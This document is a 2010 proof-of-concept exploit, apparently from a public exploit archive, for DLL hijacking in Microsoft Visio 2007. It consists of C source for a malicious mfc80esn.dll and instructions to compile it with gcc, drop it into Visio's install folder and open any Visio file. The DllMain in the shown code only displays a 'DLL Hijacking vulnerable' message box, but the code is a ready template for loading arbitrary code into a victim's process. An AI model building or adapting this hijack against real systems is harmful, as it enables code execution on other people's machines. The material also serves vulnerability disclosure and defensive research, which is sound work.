Microsoft Visio 2007 DLL hijacking exploit.
cbc7240c14893d5a2d3cb69d4a033634c7551160da10f156f2cfbca5741583d4
/*
=========================================================
Microsoft Visio 2007 DLL Hijacking Exploit (mfc80esn.dll)
=========================================================
$ Program: MS Visio
$ Version: 2007
$ Download: http://office.microsoft.com/es-es/downloads/CH010225969.aspx
$ Date: 2010/10/08
Found by Pepelux <pepelux[at]enye-sec.org>
http://www.pepelux.org
eNYe-Sec - www.enye-sec.org
Tested on: Windows XP SP2 && Windows XP SP3
How to use :
1> Compile this code as mfc80esn.dll
gcc -shared -o mfc80esn.dll thiscode.c
2> Move DLL file to the directory where Visio is installed
3> Open any file recognized by msvisio
*/
#include <windows.h>
#define DllExport __declspec (dllexport)
int mes()
{
MessageBox(0, "DLL Hijacking vulnerable", "Pepelux", MB_OK);
return 0;
}
BOOL WINAPI DllMain (
HANDLE hinstDLL,
DWORD fdwReason,
LPVOID lpvReserved)
{mes();}